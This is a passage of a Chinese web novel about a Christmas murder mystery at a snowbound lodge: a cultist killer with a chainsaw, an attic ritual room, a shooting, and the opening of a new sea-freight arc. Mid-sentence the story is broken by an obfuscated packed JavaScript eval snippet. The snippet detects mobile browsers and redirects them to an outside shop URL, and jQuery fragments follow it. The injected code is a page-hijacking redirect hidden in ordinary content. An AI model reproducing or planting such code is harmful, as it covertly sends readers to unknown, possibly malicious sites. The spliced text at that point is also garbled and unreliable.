小五打头,几人都凑到井边合力把盖子掀开了,臭味随之溢出,小四恐惧地退后两步,其余几人一同扯着绳子,将水井里的木桶拉出。 结了冰的绳子与齿轮共鸣噪音,那粗劣麻绳一节一节露出井口,每一次攀升都值得人屏住呼吸,以预防可能会出现的新恶臭。 桶比预想中的轻得多,但比空桶重,最终,它在最后一次用力的拉扯后悬挂于水井顶端,晃了晃,如教堂的钟一样,让所有人都一同抬起了头。 小象取下木桶,小心翼翼地揭开了用来撇除落叶与灰尘的盖子。 那其中,躺着一个人的头颅。 “啊——”小四站在最后却率先尖叫,被提醒到,小象手一松让那木桶摔在地上,结了冰霜的头颅晃了晃,皮肤青紫,面颊肿胀。得益于低温,那接口萎缩发黑的脖子没漏出多少血来,也没有发臭或者腐烂的迹象。 桶内外没有冰痕,拉起时也没有太大的阻力也说明了它在温度零下之后就没再碰过水。所以头颅被砍下的时间是在平安夜前夕之前,这也就意味着凶手是小一或者小二,或者小五所见到的第三个人影。这样一来事件真相就再次陷入了漩涡,但看着那颗头,结合自己的行为,小象灵机一动有了新的推理。 按理来说,掰手指算算现在谁缺了颗头,那么这头颅主人只能是小六,于是她也该确实是尸骨及钱包的主人。 “你们——”小象回头,却发现所有人都离她至少三米远,过了会后小三才靠上前来,鼓起勇气看了眼头颅又撇开了。 “…果然现实中的不一样吗…”她喃喃自语。 “…总之,能确认她是谁吗?”小象问道。 “…先不说这都成这样了,我不是法医,也对这里的人都没什么印象,尤其是你。”小三眼神复杂,又清了清嗓子说,“不过,把头单独留下是邪教徒的经典做法,用井中的温度来保鲜也是,这里的环境也符合作案条件,我觉得小一可能是想准备什么献祭仪式,没想到…” 这人说起想法来和说书一样,小象没再去听。 “其实,我有个想法。”小象对着所有人开口道,“我对你们而言是个陌生人吧,你们对我而言也是如此。” “…当然了。”小四牙齿打颤,“说真的,你也挺…” “我的意思是。”小象准备了一下措辞,开口道,“我对你们的了解仅限于你们的自我介绍,你们说自己是谁,我就信。但现在我发现你们居然没人能认出我来,那是不是说明你们其实也是这样的?” “你的意思是,有人瞒报了自己的身份?”小三不可置信地说,“谁——” 小象端起头颅问道,“你们有谁认得她吗?” 歪斜头颅眼目低垂,不做言语,活人面面相觑,也不做应答。她们好像是在说“我不知道”,但小象觉得,可能是因为前置条件出现了一些差错,才导致了现在得不到结果。 “我有个想法。”小象看向小二,走近了两步,“我想你或小一应该认得她的。无论凶手是谁,用过那口水井的人总该知道些什么。” 小二不言语,小象追问道,“她是谁?你又是谁?” “…你怀疑我在自己的身份上说了谎?”小二问道。小象确实是这样想的,她和小一是率先抵达这里的人,现在,“一”死了,无人再能验证“二”的身份。 “我刚才突然想到,会不会是这样。”小象讲述自己的推理,“小一确实是一名邪教徒,她邀请我们是为了举行某种仪式,而作为举办者,她杀死的第一个人,也就是自己邀请的第一个人,就是小二。她处理好尸体后,谎称自己是小二,邀请小六协助自己准备派对以及‘神秘惊喜’——让她假装自己是小一。她知道小五的目的,也知道她视力不好,提前准备好了一个幌子来制造早已不存在的‘第三人’,并刻意留下独处的时间。在这样的情况下,这个人唯一还需要做的事就是处理好知情者小六,并保持场面混乱,以继续自己的计划。” 不知何时起,小二露出了微笑。 “现在,我希望你和我们回到主屋,使用小一的电脑认证虹膜和指纹…”小象顿住了,问道,“或者说不必如此?” 微笑着的人摘下眼镜收好,抬眼,接过小象手里的木桶,调转方向,扶正头颅,两张面孔正朝小象,下方那副有血泪流下,两幅嘴脸一笑一哭。 “初次见面。”笑着的那张脸说,“我是小一,这是小二。” 说着,她转身朝向身后已然呆楞的三人,说,“以及好久不见,我的老同学们。” “…你——”小五开口,却也说不出更多了。 小一无视她们,将打完招呼的头颅连带木桶放回了井里,目视其下落,惋叹道,“她是自杀的,我找到她时她就已经是一具尸体了,可惜,至少我是发自真心想邀请她一起过圣诞节的。” “…那我们?”小三扯了扯嘴角,笑不出来。 “当然也是如此,我的老同学们,我也是发自真心想让我们一同度过一个愉快的圣诞节的。”小一站直,从宽松外套内掏出了一副手臂长的电锯,拉响引擎后,巨大的轰鸣声恐吓山林,后方树枝一颤,枝头堆雪落在加速起跑的锯齿上,碎开。 “圣诞快乐!”她也哄然大笑,“跑起来吧!” 电锯就是有让任何场合气氛变得疯狂的魔力。 众人四散奔逃,小象也本该如此,但她独自站在离小一最近,也与其它三人对立的方向,此时如果要逃就只有两个选择:要么跑进树林,要么跑进仓库。 无论哪边听上去都是死路一条!小象这样想道,她可不是为了让自己陷入这种局面而作出推理的,而是为了阻止凶手犯下新的凶案,可是失败了!为什么?或许是因为她不是侦探吧!没错! 比起跑进地形不明且可能有狼的树林,小象选择了能让她死得更快的仓库,小一的笑声伴随电锯的引擎被拒之门外,小象匆忙将门边木柜堆到门后,随即摸起那把豁口斧头,开始寻找生路。 “有后悔自己的好奇心吗?不必担心,我不会让你这样想的!”小一的声音从门外传来,电锯撕咬门板的声音也是。 小象没空去管,她跨过猩红恶臭,在黑暗中用斧头推开堆放在角落的颤抖木材,那密集的摩擦声像是仓库的惨叫,她希望这仓库能有个窗,或者逃生门之类的地方。 木材滚落,身后隐约透露雪光与大笑,小象身前却只有一面实心木墙。 忽然,她想起自己先前瞭望时看见仓库是尖顶的,但抬头看见的天花板却是平的,她凝神,果然在黑暗中勉强看见了一根下垂绳索,如上吊绳,也如蛛丝,她没得选,迅速用斧头勾下绳环并一把拉下,一节折叠梯落地,她匆忙爬上。行动间那门边木柜已然变回木材中的一部分,小一再次拉响引擎,趁着雪光带来的好视野,她一眼看见往上爬的小象,朝梯子冲了过去,却被自己的腿脚拖了后腿。 爬上阁楼,转头,小象朝下一眼看见正往上爬的小一,惊吓之下抄起斧头就向下捅,它不是这么用的,但还算是有用。听到人体落地的声音后她连忙收起长梯,过了一会,楼下有脚步声朝外淡去了。 小象这才放松些许,蹲坐在地上大口呼吸混杂不明恶臭与灰尘的不新鲜空气,但这里并不安全,她起身,摸出手机手电筒打量周围环境。 阁楼无光,小象摸索着墙壁,找到了一处开关,按下后空间亮起,她眯起眼睛,适应环境后才睁开,随即因周围环境楞在原地。 一个似乎是法阵的图案占据了阁楼地面一大半,扭曲线条所用的颜料浓稠暗沉到令人不安,法阵周围一圈有序地摆满了奇怪的东西和人头骨,大小新旧不明,少说有六七十个。略去看不懂的花纹,法阵中心凹陷且被用刀刻画着一个复杂而立体的图案,周围刻了一圈文字。 “…我们要将天上的旨意行在地上,叫那国降临…”小象读了出来,并意识到,这里大概就是小一那仪式现场了,小三说的确实是真的。 这种情况下她会就这样离开?小象越想越觉得小一随时会出现在身后拉动电锯引擎,赶紧起身继续寻找线索。 这一找还真让她找到了个有用的东西——路由器。虽然不知道为什么路由器被设置在仓库,又和那些奇奇怪怪的东西放在一起,但小象没管那么多,迅速将路由器接上电源重新启动了。 瞩目之下,路由器亮灯开始运作。小象连忙掏出手机呼叫警察,并表示情况紧急自己可能下一秒就要被破门而入的异教徒砍杀。 “我们最快也 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她不记得昨天有谁进了屋子后还从正门出去过,但这只能是小一带来的,所以别的地方,或者干脆说,厨房里一定有别的出入口。 “…那里怎么会有这种东西啊?”小三相当疑惑,但又急切追问道,“还有别的什么吗?比如说书,什么的。” 小三的语气比起询问,更像是在寻找某个确切的东西,但现在小象哪顾得上这,“你问我?这东西太多了,我现在只想找能帮我活命的东西,比如警用手枪。” “…你报警了吗?”小三问。 “我报警了,她们说尽快,还说这旅游区在一年前就因为环境问题查封了,现在至少要我再自己想办法活半小时。”小象说。 “…这样。我们都在主屋,小四把自己锁屋子里了,小五在厨房说要找武器,我在搜小二的房间。”小三语气凝重,“我找到了她的手机,小二确实是自杀,但是因为受小一影响,她一直在暗中探查小一的踪迹,不知何时也接触了那邪教。” “…有哪部分能帮助我活半小时的?”小象询问关键点。 “你说你那是仪式现场,那至少她不会一把火把仓库烧了,同理,你也可以拿这个威胁她…”小三说完自己都沉默了,“抱歉,我也是第一次遇到这种,现实情况。” “我难道得说一声‘谁不是’吗?”小象笑不出来,继续翻了翻,“没有蜡烛打火机,我身上只有把斧头,要不我把这法阵砍了试试?” “诶,别!”小三急忙道。 “…”小象沉默片刻,问道,“你想留着这个?” “不是,我——”小三匆忙解释起来,但语气含糊且断断续续,和其本人发声信号不好了一般,小象都没听懂她都说了啥, 突然,她听见,身后梯门处的木板下,传来了轻轻的两下敲门声。 “咚咚。”又两下,像是在提醒她这不是幻觉。 “…怎么了?”小三察觉到了电话那头的停顿,忍不住也有些急了,“你,你那边——啪。” 她给了自己一巴掌后冷静了许多,快速开口道,“听着,我想起来了,几年前冬天有新闻说某处郊区建筑群出现大面积的恶性水管爆裂,那就是这里。仓库二楼确实没有窗,但天花板上应该有留下当年检修后没复原留下的口子。” 闻言,小象无视身后刺入地板强行开口的电锯,背起斧头,爬上桌子后爬上木梁,将手机夹在肩颈间,小心翼翼地一边维持平衡一边找天花板上的突破口。 突然,她发现木梁上藏着一本书,黑暗之中她看不清其东西,随手一摸,那里头凹凸起伏的竟然是盲文。虽然她不觉得小一有视力问题,但她认为这就是小三要找的书,并将其收了起来。 “如果你跑出来了别来主屋,小五在门口设了陷阱。”小三加快了语速,“路上应该有很多脚印,你可以——” 话没说完,通讯被强行中断了,原因如下,小象低头,看见了小一手里的路由器电源线。 “这都能让你们打上电话!”她感叹着抬头,脸上充斥疯狂笑意,“你好啊!欢迎来到这个秘密房间,我就是在这里为你们准备神秘惊喜的哦!” 小象不言语,集中注意力寻找天花板接缝,很快,那不细看完全找不到的一道白色细纹出现在了不远处的天花板上,而身后,小一已经爬上了桌子。 顾不上保持平衡,小象在不足她双脚宽的木质房梁上站起,年久失修的老材料如约一笑,颤抖着表达时间的存在感。她没去看身后,抄起斧子朝那缝隙处顶去,就像是要顶下卡在篮球框上的篮球一样,她顶开了那一处天花板。板材移开,天光与雪一同落下,像是室内的第一场暴风雪。 “…这里怎么还有这玩意。”小一感叹道,“怪不得总觉得冷,原来是漏风。” 小象这才有闲心勉强回头看那人一眼,却看见那绿色圣诞树毛衣瘸腿人像是完全不在乎平衡一般大张旗鼓地直立在房梁上,仿佛在嘲笑她先前的小心翼翼。 “…你拿走了书?”她的声音嘶哑,“那不是你能碰的东西,还给我。” “…还给你了你就放过我?”小象退后一步问。 听闻此言,小一像是听见了野兽呼嚎的人类一样,疑惑又担心地皱眉道,“你为什么会这样想呢?” “…就是说啊…”小象叹了口气,转身,不顾已然开始颤抖的房梁用力向上一跳,扒住了天花板的缺口,她自认运动能力也就一般,此时小一脚步声逼近,她顾不得自己的极限,用尽全力向上爬去。 左手,右手,上半身,接下来是右腿,好,翻身—— 忽然,左脚踝一紧,原因不需也不该去思考,小象咬牙,挣扎着连踹几下,将鞋袜连着那抓着鞋的手挣脱开了,她翻滚上房梁,又连忙朝外看,向主屋的方向看,隐约能看见那二楼似乎有人在朝她招手,她没空回应,接着看向仓库边缘,找准一处堆雪处就跳了下去。 “咚——”雪堆欢迎自由落体者,小象没感到温暖,没有布料覆盖的左脚反应过来周围温度不适合生存,及时开始隐隐作痛。她扯下马甲将左脚包起,但它迟早会被雪打湿,她必须尽快找到厨房的隐藏入口。 7. 圣诞节与暴风雪山庄-下-2 仓库内有脚步声,小一腿脚不便当然不能选择跳楼,小象确认时间,离警察来还有二十分钟。 沿着脚印,小象蹒跚着来到主屋附近并绕开了正门,左脚已经没有知觉了,但紧张之下听力倒是灵敏得很,她听见身后有人在不紧不慢地追来,那还能是谁?但好消息是她似乎换了个方向,朝主屋正门去了。 希望小五的陷阱有用吧,小象内心祈祷着,开始寻找出入口。 厨房所在的角落周围只有木墙,小象低头,用斧头扫开地上积雪,很快找出了一条勉强能辨认出被石砖铺设出的平台,并摸索着在附近雪中找到了一个提手,拉开后,一处下行楼梯展露入口,黑暗欢迎光临。 顾不得多想,小象收拾了一番周围的雪,跳下并带上了门。若是小一看见那拙劣的掩饰一定会笑出声吧,但现在小象也没办法做到更多,她的左脚很快就要脱离她的身体自立门户了! 进入黑暗之中,地窖中依旧冰冷但至少无风,小象脱下左脚处已然湿透的衣物,勉强为脚掌恢复温度,但手也在颤抖,她必须尽快换掉湿衣服。 地窖空间不大,手机手电筒提供了最基础的照明,楼梯走到底后可分两个方向,其中一个明显通往厨房,而另一处似乎是通往仓库方向的通道被一处铁门挡着,滴答漏水声回荡。小象尝试靠近,却被突兀的强烈恶臭击退两步,第二步时脚下着陆点软硬度突变,她发现自己踩到了什么东西,低头一看,那是个帆布箱。她意识到这可能就是小六那不见了的行李,而前方那臭味的来源一定就是水井与仓库了。 所以小二就是从这里前往阁楼断开Wi-Fi的,小象了然,转身朝厨房方向走去。 不久后眼前出现了上行楼梯,小象推开顶门爬上木质地板,推开挡在眼前的货架,眼前是厨房内的食物储藏室,温暖的气息也如约而至,她终于松了口气。 厨房里没有人,小象将湿重衣物脱下,小心靠近厨房门,她并没有听见谁交谈或争斗的声音,她从门缝中朝外看去,却看见正门大开,小五设了什么陷阱她不知道,但显然她的下场是清晰的—— ——地上有一道向外拖行而去的血痕。 在内心默哀后,小象观察一番地上的痕迹,猜测小一可能并不在这里,她心中疑惑,却顾不得多想,迅速上楼回到自己的房间换上了新衣服,同时确认时间,还有十分钟。 忽然,房屋外传来敲门声,“是我。”小三的声音,小象应声,对方推门入内。 “我看见小一拖着小五去仓库了。”小三声音低沉,“她——” “她为什么会离开主屋?”小象问道,“或者说,她为什么会放过你们?” 小三沉默片刻,屋内安静,小象没有继续说话,只是看着她。 “因为我有枪。”小三坦言,随后又继续解释道,“是只有一发子弹的类型,我不确定能从二楼击中,所以——” “你带着枪吗?”小象打断了她的解释。 小三沉默了。 “你带着枪,来找我,做什么?”小象问。 “我当然不会对你开枪!”小三连忙摆手,沉默片刻之后,她开口问道,“…你真的没有从阁楼里找到一本书吗?” 有,但小象看着小三,总觉得她并不仅仅是想要得到那本书,谨慎地问,“怎么,你不找邪教徒改找邪教书了。” “…不是。”小三有些犹豫,但还是开了口,“我的目的是找到小一,并确保她没有继续行动的能力,你也看到了吧,她杀的人可不是小数字,但除此之外,她还有别的威胁。” 说着,她看向小象,像是在说秘密一般轻声道,“一年前这里就停止运营了,但你也看见了,这里是有电的。” 不止有电,还有网呢,小象顿了顿,惊讶道,“邪教徒还会这个?” “…仅仅会是不够的,小一用来发电,驱逐野兽,并在暗中杀人不被发现的技术,全部来自于她的教派,或者说那本书。我猜测你所见到的阁楼就是发电场所,如果那里出了问题那这里就彻底没电了。”小三说,“但小一的精神状态你也看到了,那本书绝不是什么好东西,甚至说它里面的内容会对普通人造成精神攻击,改变这个人的想法。” 说完,小三不再开口,只是谨慎地看着小象,而小象也明白了过来,她这是在提防自己被传了教变成邪教徒呢。而小一放过她的理由或许也可能是因为觉得她可能已经读了那本书,并因此改变了想法同意小一的所作所为。怎么可能呢?小象忍不住疑惑,但她确实没有读过那本书,无法确认这一点。 忽然,地面颤抖了一下,起初小象还以为是错觉,但很快颤抖接踵而至,卧室内的桌面台灯倒地,她这才意识到居然发生了地震,何等令人惊喜。 “…”小三却是突然看向了仓库方向,脸色之难看让小象的脸色也被传染了。 “…不会是我想的那样吧?”她小心问。 “我,我也没想到。”小三转身朝屋外跑去,语气匆忙,“必须尽快阻止她,不然我们都得死在这!” “怎么做?”小象跟了上去。 “…只能杀了她了。”小三声音有些低,“我,我已经做好准备了的,但是我视力和枪法都不太好,所以…” 所以就是不行,小象理解了她的未尽之意。小象也没有杀过人,但与小三不同的是,她有提前做好准备。 “枪给我。小象说着拿出了斧头,“这个你拿着。” “…不,我——”小三还想说什么,小象将斧头递给她,她挣扎片刻,还是将那迷你手枪交给了曾被她怀疑过的准教徒。 重量很轻,小象没练过射击,但枪械作为为人而生的杀人武器,简直是处处为人考虑,作为常年到处出差的人,她当然知道该怎么开枪。她简单摆弄了一番,随即抬手将枪口对准小三,对方果然一脸惊恐地抱紧了斧头。 “下次有话一次性说完,知道了吗?”小象满意地收起了枪。 “…行。”小三咬牙说。 木屋已经开始散架,那圣诞树倒在地上,装饰物滚落得到处都是,部分沾上了小五的血,部分停在倒地的小六尸体身边,部分滚进还在燃烧,且越烧越旺的火柴之中。地震没有停下的迹象,那沾上木地板的火势也是。 二人跑向仓库,一路上血痕几乎像是在指路一般清晰得令人无处可退,直达仓库正门口,那之后,在地震与纠纷中变得乱糟糟的柴火堆上躺着一具无头尸,热血还在流淌,看手套,那是小五。 “先说好,我没看过那本书。”小象对小三说道,转身抬头,抬高声音朝阁楼喊道,“小一?我看过那本书了!你要做的事实在是太有意思了,能带我一个吗?” 过了一会,地面颤抖的迹象似乎停下了些。 “…你——”小三脸色僵硬,小象比划了一番,她深呼吸,转身向外跑去了。 阁楼上跳下来一人,满身是血,手上还拎着电锯,那绿色圣诞树现在也变成红色的了,就圣诞配色而言可以说是没差。 “…你果然看了那本书啊。”她感慨着笑了,深深叹了口气,问道,“感觉怎么样?” 小象摊开双手,“如获新生。不给我一个拥抱吗?你也能算是为我做洗礼的人了。” 闻言,小一歪了歪头,却是没有上前,而是问道,“你是从地窖回了屋子吧,怎么样,见到我的那几位老同学了吗?” “…那无关紧要吧。”小象笑着说,“我本来就不认识她们。” “但其中那位小三,她可是个危险的人呢。”小一又叹了口气,“明明能好好说话的,她居然对我掏枪,你说这算什么?” “…”小象不说话,只是维持着索取拥抱的姿势看着对方。 “我当然会相信我的家人。”小一说,“但是,你真的是我的家人吗?” “…难道我还得证明这个?”小象疑问,“我以为你愿意来见我,就是接受了我。” “…我确实想要一个家人,但我不想要一个会对我开枪的家人。”小一直言,小象看着满身是血的她,说真的,她也不想要一个这样的家人。但现在就这样放任小一转身离去才更是要命,小三说“都得死”,她偶尔不把话说完,但至少她不说谎。 “我很失望。”小象垂下手,摇了摇头,“我原以为,你已经做好了准备的。” “…什么准备?”小一问。 “你准备的圣诞礼物就是那个吧。”小象指了指阁楼,“你想让我们,小三小四小五和我,看见你准备的那个,惊喜。” 随即,她在小一逐渐消失的笑意中指向那具无头尸体,“但是,你杀死了小五,取下她的头,为了什么?”小象看着小一,问道,“小二的头,你不准备用了吗?” 小一像是被这句话打击到了一般,张了张嘴想要辩解,最后却什么也没说,她看向小象到身后,也就是屋外,看向那口井。 “她还在那里啊。”小象了然。 “我只是觉得,她很可怜啊…”小一轻声说,先前那副属于小二的表现此时又像幽灵一样附着在了她的身上,“其实我一直觉得她可怜,一直想帮她,高中时,我不知道她到底是为什么要那样做,知道后来我才知道她们家是因为我家里的生意破产的。你知道吗?她其实本来想当一个艺术家的,但现在她能选择的艺术道路太窄了,不过,我还是想帮她一把。” 她的声音变得越来越轻,冲着屋外那口落了雪和落叶的井,她倾诉道,“毕竟,她都一直走到现在了…” 若以字面意思理解这句话,小二或许是真的“无法看见”而不是近视,小象有些惊讶,所以那本盲文书居然是小二的吗?那作为那本书的践行者,这暴风雪山庄中曾经所有命案的凶手,小二,竟是早已自杀了! “那你现在留着她的头就能让她看见了?”小象疑问,“说真的,虽然你保鲜做的不错,但那头其实也——” “我知道。”小一灿然笑道,“我知道的,但没关系。” 她歪了歪头问道,“你对我失望就是因为这个?你觉得我在做没有意义的事情?不,我告诉你,我所杀的都是罪人,我献祭的都是罪人。而罪人的灵魂所换来的,却是绝对正确,绝对无罪的伟大存在,这是值得的,你能理解我的吧?” 说着,她重新提起了电锯。 “…包括我?”小象问道,“我可什么都没做啊。” “轰——”电锯抽动,引擎声轰鸣,小一似乎说了什么,却被这几乎引得地面颤抖的巨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296727|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大噪音盖了过去。她抬起手,放任雪光反射在电锯上,那些曾经的血肉都被雪洗净了般,锯面躁动着闪闪发光。 是个人面对发动中的电锯都会感到害怕的,小象也是如此,面对即将落在她身上的电锯,小象掏出了她身上唯一的防具:那本书,挡在头顶。 小一动作一顿,小象趁机掏出枪对准那因双手高举而无从遮掩的头颅,对准那茫然面孔,对准小一,扣下扳机—— 子弹炸开血花,小一下落,后仰,倒在了血与柴堆里。电锯落地,它与其使用者一样,在死去之后依旧死性不改着抽动几下,锯刃划伤地面,最终还是没了动静,与那雪或血或柴堆或无头尸体归到一起去了。 这里又多了一具尸体,小象心想。 过了一会,小三从屋外走了进来,她看着地上的人,沉默片刻后开口道,“抱歉。” 终于喘过气来的小象回头,都不知道她是在和谁道歉,只是将空枪丢给她,并给出了那本书,“你要的就是这个?” “…谢谢。”小三抬手拿,小象没松手。 “警察要来了。”小象说,“你带了枪来,总得做好开枪的后续准备吧。” “…我知道。”小三说,“你本来就是意料之外的客人,这里交给我就好。” 小象闻言松开了手,小三收到书后看了看封面,神情复杂地将其收进了外套里。二人去阁楼上把路由器电源接好,拍下现场后离开仓库,却看见雪地里还站着个人,举着手机对着她们拍摄中,是小四。 “…我听见了枪声。”她的声音颤抖,却没有后退,“你们,你们杀人了?” 没人回应她,小四却像是掌握了什么证据一般抬高了声音,“你们杀人了!我不管你们杀了谁,你们杀了人,别想就这样一走了之!” 三人面面相觑,小三开口问道,“你想要什么?” 闻言,小四笑了,她收起手机,伸出索求的手掌,说,“把小一的手机,把那个宝石给我,我就当作什么都不知道。如何?” 小象自认没拿那玩意,她看向小三,她也摇头。 见此情形小四急躁了起来,“还装什么?你们无论杀了谁都能拿到那个东西吧。”随即她冷静了些,晃了晃手掌说,“我可以接受和你们平分,但你们得让我看看,我知道你们拿着那个东西!” “我没拿。”小象说,“你知道我和你们都不熟,一开始根本不知道小一有钱。” “我也没拿。”小三摊手,“昨晚她的手机不就消失了?我还以为是你拿的。” “我要拿了我还来找你们!?”小四愤怒道。 那就只能是在仓库了,小象想了想说道,“小一和小五的尸体在仓库里,我们没动,你要不要去翻翻看口袋?” 闻言,小四沉默许久,她僵硬而灵活地权衡了许多自身与外界因素,最终咬牙拿出自己的手机,晃了晃说,“我可是拍下来了你们从仓库里走出来的证据,你们得为这件事保密,出去了之后也绝对不许说出去,知道了吗?” 所以,小四完全不知道警察大概几分钟之后就会到,小象努力维持面无表情,点了点头,小三也是。随即小四跑进了仓库,小象看着她进入那血色中并发出呕吐的声音,自己转身走向地震后勉强还剩个原型的主屋,去收拾自己的行李。 等她再拎着箱子出门,就看见小三正拿着手机熟练地和抵达的警察谈话,见到她时招了招手。她上前,配合着说出了自己看到的东西,听见叫骂声转头,就看见几个警察正压着浑身是血的小四走出铁门,不知道她有没有找到自己想要的东西呢? 待警察那边记录完毕,小象被通知可以离开了,小三送她去停车场。这下停车场热闹多了,不仅多出好几辆警车,还有些四四方方的救护车火警车堵在门口,小象拎着箱子差点挤不出去。 小三沉默地跟在后头,也不帮把手,就看着小象走到自己车边,掀起行李舱门,无论她想看什么,那里面什么都没有。 “阁楼桌面上的蜡烛,是你带来的。”她看着收拾东西的小象,突然开口说道。 “嗯。” “…那也是仪式道具之一。”小三说,声音带上了质疑,“你出现在这里,真的只是因为感兴趣?” 闻言,小象回头道,“我说了我是送东西的,交出包裹,完成任务后,我所做的当然只是因为‘感兴趣’。” 闻言小三沉默,小象回头接着收拾行李舱,她可是带了三天的行李,没想到这才一晚,圣诞节都没过呢,她就又得走了。 行李舱砰的一声合拢,小象拍了拍手,回头看向还站在原地的人,问道,“还有什么想对我说的吗?” “…这本书,比你想象中的更加危险。”小三取出了怀里的书,它已经被布包起,现在看上去就是一块砖头,她捧着惨白布砖,言辞带着警告,“我希望你真的没有读过。” 但她也没法剥开另一个人的脑子看她有没有读过一本书了,因为人无法阅读另一人的脑,也无法靠眼睛去理解另一个人。小象想起那颗井里的头,突然笑了笑,接而走向驾驶座,拉开车门,最后一次回头看向小三,开口道,“圣诞快乐。” 随后,她上车关门系好安全带,远离了暴风雪山庄。 8. 船与箱中之物-上-1 先前说过,小象的职业是国际物流师,听着少见但简单而言就是附带咨询服务的送货员,不过运输的距离更长,经手的货物种类更杂,要处理的手续和要承担的风险更多而已。她的任务来自上司指派,通常由她一个人完成,如果遇到什么异常情况,在不影响任务完成度的情况下她需要自己判断并作出决定。 最近她有个长期订单,一家还挺有名气的生物制药公司需要将一些特殊的活体动物从分公司所在地送往总公司,为保证动物的状态不受影响,小象需要全程陪同那些动物跨海,并处理过程中遇到的任何问题。而同样也是为了不让任何外界因素影响到珍贵的动物,小象不被允许开箱查看动物本体,作为替代她获得了一些照片资料,翻开内页,她还以为看到了动物园明星宣传单。 第一件货物现在就在她眼前,隔了层铁皮,资料说集装箱内有头几个月大的幼年灰象,那货车头后方的绿色斑驳集装箱至少有两头成年灰象大小,500吨载重上限竭尽全力将它带到海边港口,接下来轮到轮船来背。 能承载她的交通工具在此航线相当难找,眼前的船称得上唯一,方舟集团摩西平台设备有限公司出品的冷藏货物运输船银河三角号,主载货,勉强也载些人。 “…怎么想都不可能吧。”小象看着逐渐远去的集装箱喃喃自语,无论怎么想,她都觉得一头象不可能以这样的方式被运输往另一个国家。但既然她的上司确认过,将任务交给她,那么她要做的不过就只有执行这一件事了。她不该,也没有资格过问其中内容,但好奇心总是免不了的。 陪着集装箱上船前,那与她同行的甲方员工小一不知重复过多少次“我们必须轮流看着集装箱”的要求,并被小象驳回。为乘客与货物双方的安全起见,航行期间货舱大门会上锁,当然内部不缺摄像头,虽然寻常情况下监控录像并不向外人提供,但看在甲方公司规模的份上,小象愿意为此多费一些力。 “但如果真要出现问题了那不就晚了吗?”小一却不愿意就此罢休,年约三十的无框眼镜青年眉头紧皱,依旧执着于亲自陪集装箱过海,明明无论是体积还是年龄她都远不及那铁皮,但此时,她就像不放心独自坐校车上学的小学生家长,恨不得亲自当司机去。 纠缠不休的甲方小象也见过不少了,但这次的文化水平高所以尤其难缠,通常情况下她的工作过程只有她自己以及货物的参与,没想到这次还多了个货物的家长。 “问题?”小象疑惑,“比如?” “…和你说了你也不懂。”小一摆手,急切道,“不能进货舱这件事你之前就应该说啊!早说的话我们就——” “你们没准备麻醉或昏睡手续吗?”小象问道,这可是非常严重的问题。 令她感到更加担忧的是,小一没有回答这个问题,上船期间甲板人流涌动,这白大褂却忍不住在船梯上一直往船尾货舱的方向看,连自己的行李箱撞到了旁人都没察觉到,还是小象给扶住了。 “抱歉。”她替小一向那被撞到的人道歉,又伸手去拉小一的衣服,劝道,“别看了,现在得先去客舱。” 不知是不是周围很吵,小一一副听不进声音的样子。 “没什么,没什么。”被撞到的笑着摆了摆手,看着不听劝的小一,忍不住劝说道,“无论怎样,都等开船之后再…” “行了。”小一想通了,她转头从小象那扯过自己的行李箱说道,“该做的准备都做过了,走吧。” 小象没再说什么,再次回头朝那人说了声不好意思,转身和小一走向客舱。 轮船启程,距离目的地共七日航行距离,第五日船只会在一处港口停留半天时间,期间有签证的乘客可过海关逛逛。旅游手册是这样说的,这并不是一艘度假观光邮轮,但船就是为交易而生的东西,哪有放着生意不做的道理?小象叠起放在床头柜上的广告单扔进垃圾桶,离屋前往小一的房外敲门。 脚步声越来越近,拉开门的小一手里拿着那张传单,面色不悦地冲着小象开口道,“怎么要七天?这不会是艘游轮吧?” “…船能跑多快不是我能决定的,你问工程师去。”小象心平气和地回答,“这不是游轮,你有疑问去问你们公司的负责人。” 闻言小一顿住,她并非交接人员,对交易或运输流程内容一概并不知情,也根本不知道小象该做什么不该做什么。 “所以。”小象问道,“你们到底有没有给那动物打麻醉?” 作为生物专精者,小一比眼前这送货的更加清楚“运输动物需要确保其状态稳定”的重要性,她想起那箱中物心中又泛起了急切,无论是安眠药麻醉药或者子弹都无法确保它的稳定。 “…这种事轮不到你担心。”小一说着,摆了摆手看向别处,“你之前不是说货舱有监控?去和那些人说,我需要实时转播。” “…行吧。”小象无奈点头,又提醒道,“你应该知道,即使货物真的出了什么问题,能进入其中的也只有安保人员,你是什么都做不了的。” “我知道,知——道!”小一拉长声音强调,“行了行了赶紧去!” 小象无话可说,回房去联系相关人员了。这艘船她也是第一次坐,人生地不熟,申请额外需求的程序也是她第一次走,需要写的东西有一大堆。想到这她叹了口气,不禁怀疑起了那集装箱里到底装了个什么东西,哪怕真是头大象也不需要人一直盯着吧,她可听说那是种温顺的生物来着? 丝毫没有休息的间隙,处理完相关文件就已经到了晚餐时间,小象只身前往餐厅,邮轮为乘客提供自助餐。餐厅不大,几乎整艘船的人都在这里了吧,她被人群挤着的时候忍不住这样想。 好在水果里有很多瓜,小象喜欢瓜类水果,尤其是当它们还完整的时候,那圆润光滑而带着裂纹的模样总会莫名令她感到高兴,连带着,她也喜欢吃它的肉了。不过个头小一些的,例如苹果的她就没什么偏好了,而葡萄之类的浆果则是她会尽量避开的,个头太小了也很麻烦。 带着许多西瓜蜜瓜香瓜切块,小象在角落里找到了一个座位。 “监控的事情怎么样了?”有人打扰了小象的晚餐,当然是小一,这人理所当然地带着自己的餐盘坐到了小象对面,并自然而然地抛出了这个问题。 “…邮件我发了,最迟明天上午能得到回应。”小象回答道。 “明天上午?”小一音调抬高到足够表达不满意,手里的叉子也一顿,“我们不能直接去监控室问那儿的人要,或者干脆去那里看着吗?” 好麻烦,小象轻轻叹了口气,低下头,发现小一餐盘里没有任何肉类,现在确实挺流行素食主义的,但她想起那集装箱内货物的分类,不禁觉得这或许是个冷笑话。 “怎么不说话了?”小一为此停顿追问。 